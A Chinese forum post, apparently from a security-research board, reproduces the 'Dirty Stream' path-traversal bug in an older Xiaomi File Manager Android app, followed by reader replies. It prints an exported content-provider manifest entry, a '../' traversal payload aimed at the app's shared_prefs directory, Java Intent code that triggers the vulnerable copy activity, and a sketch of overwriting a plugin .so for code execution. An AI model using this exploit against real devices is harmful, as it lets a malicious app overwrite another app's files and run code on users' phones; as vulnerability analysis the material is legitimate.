dirty-stream漏洞
下载地址:https://apkpure.com/cn/file-manager/com.mi.android.globalFileexplorer/versions选择:2023年03月06 应用V1-210567版本
对标文章内容
结论:漏洞利用前置要求比较高,需要在手机上安装App并且要提供content provide组件,这个App的数据库里还必须写上穿越路径,之后发送Intent调起小米文件管理器,需要手动点击粘贴才行。
漏洞是能代码执行,但是不实用。
Detail:
漏洞成因是xiaomi读取我提供的content provide(不懂的自己去查)的 "_display_name"字段 没有过滤 "../"导致可以拼接穿越路径。
补丁前后对比:
主要函数
补丁前:
补丁后:
利用:
创建攻击者App并提供Content Provide组件,是为了让xiaomi App读攻击者提供的带"../"的字符串内容。
攻击App的Manifest.xml配置如下:
<provider
android:name=".MyContentProvider2"
android:authorities="com.hx.exploit2"
android:enabled="true"
android:exported="true"></provider>
<provider
然后创建数据库并写入三个字段 '_size','_display_name','_data'.
其中display_name是可控的路径,攻击者向这个字段写入如下内容:
./../../../../../../../../../../data/data/com.mi.android.globalFileexplorer/shared_prefs/hx.txt
漏洞成功执行会在xiaomi App沙箱中的shared_prefs目录下创建hx.txt文件。
要写入的文件是攻击者App使用intent传递的。
Uri uri = Uri.parse("content://com.hx.exploit/exploit.txt"); // 这里提供写入的文件路径
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.mi.android.globalFileexplorer","com.android.fileexplorer.activity.CopyFileActivity"));
intent.putExtra("from_private",true);
intent.putExtra("inner_call",true);
intent.putExtra("explorer_path","content://com.hx.exploit/exploit.txt");
intent.setData(uri);
intent.setAction("android.intent.action.SEND");
startActivity(intent);
攻击者App使用这个Intent发送给xiaomi App。xiaomi App会解析Intent中的Uri内容并访问注册名为com.hx.exploit的content provide 组件(攻击者App) ,使用openFileDescriptor()函数读取文件内容。攻击者App重载实现了openFile()函数,这样达到了写入内容可控。有了路径穿越就可以写xiaomi App沙箱内任意文件。
攻击者App在assets资源目录下创建exploit.txt为要写入的文件内容。当执行到openFile函数时攻击者App把exploit.txt转存至自己的沙箱目录中并将文件句柄返回给xiaomi App。
攻击者App主动发送Intent给xiaomi App使它执行到文件拷贝的Activity页面,点击粘贴按钮完成路径穿越写入。
跳转至xiaomi App
文章中说覆写垃圾清理插件的so,可达到任意代码执行效果。先修改com.mi.android.globalFileexplorer_preferences.xml文件中的libixiaomifileu.so_hm5字段,然后将攻击者的so文件写入。
插件路径
同理wps app应该是类似的。
https://static.52pojie.cn/static/image/hrline/1.gif
https://www.microsoft.com/en-us/security/blog/2024/05/01/dirty-stream-attack-discovering-and-mitigating-a-common-vulnerability-pattern-in-android-apps/
遍历目录? 4nfu 发表于 2024-5-15 22:28
遍历目录?
rce应该是,但利用条件要求比较高 看标题还以为是steam,原来是xiaomi的 技术门阀的作品,景仰 这个漏洞的确不是很实用 类比其他应用,应该如何修改能避免类似这种漏洞的发生,还望大佬不吝赐教。 师傅你好,可以分享这个攻击app吗,没复现出来
页:
[1]